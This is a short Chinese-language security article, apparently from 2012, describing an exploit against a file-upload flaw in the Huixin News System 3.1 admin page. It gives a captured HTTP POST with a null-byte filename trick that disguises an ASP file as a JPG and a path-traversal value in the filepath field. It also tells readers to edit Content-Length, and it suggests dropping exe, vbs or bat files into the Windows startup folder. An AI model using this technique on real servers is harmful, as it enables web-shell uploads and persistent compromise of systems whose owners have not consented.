来源:中国安全信息网 更新时间:2012-04-13
近来大家为dvbbs的文件上传漏洞兴奋不已,想想在其他的系统里面能不能用的上呢?我就以惠信新闻系统来抛砖引玉吧!
系统环境:惠信新闻系统3.1,Windows2000+sp4。
先看这句代码:
admin_uploadfilesave.asp
...............
Server.mappath(formPath&file.FileName)
............................ |
保存时用路径+文件名+后缀名,那我们可以用dvbbs上的漏洞了,只不过我们改的是文件名(因为系统有固定的路径,改路径的话,上传不会成功)
这是我捕获的数据:
POST /admin_uploadfilesave.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://127.0.0.1/admin_uploadfile.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d42cb1f101ae
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: 127.0.0.1
Content-Length: 658
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCSACQQRQ=GKCHPMAACAKICGCMGMMBCLAL
-----------------------------7d42cb1f101ae
Content-Disposition: form-data; name="act"
upload
-----------------------------7d42cb1f101ae
Content-Disposition: form-data; name="upcount"
1
-----------------------------7d42cb1f101ae
Content-Disposition: form-data; name="filepath"
newstxt/
-----------------------------7d42cb1f101ae
Content-Disposition: form-data; name="file1"; filename="G:\www.asp .jpg"
Content-Type: text/plain
<% language=vbscript %>
-----------------------------7d42cb1f101ae
Content-Disposition: form-data; name="Submit"
提交
-----------------------------7d42cb1f101ae-- |
我将其中filename 处改为www.asp+(空格).jpg,同dvbbs利用一样改content_length的长度,然后用编辑器修改空格十六进制20为00,上传成功!
再看路径我们不能改,那能不能利用../../这样的方式回切呢?试试就知道了。捕获数据同上,将
name="filepath"
newstxt/ 改为: newstxt/../../../winnt
content-length:658 改为:(658+14)672 |
好,开始上传,哈哈!在Winnt下发现www.asp文件。那我们就可以将路径改为Windows的自启动目录,上传exe、vbs、bat……文件。不过以上都要在获得新闻系统的管理者之后,进一步进入。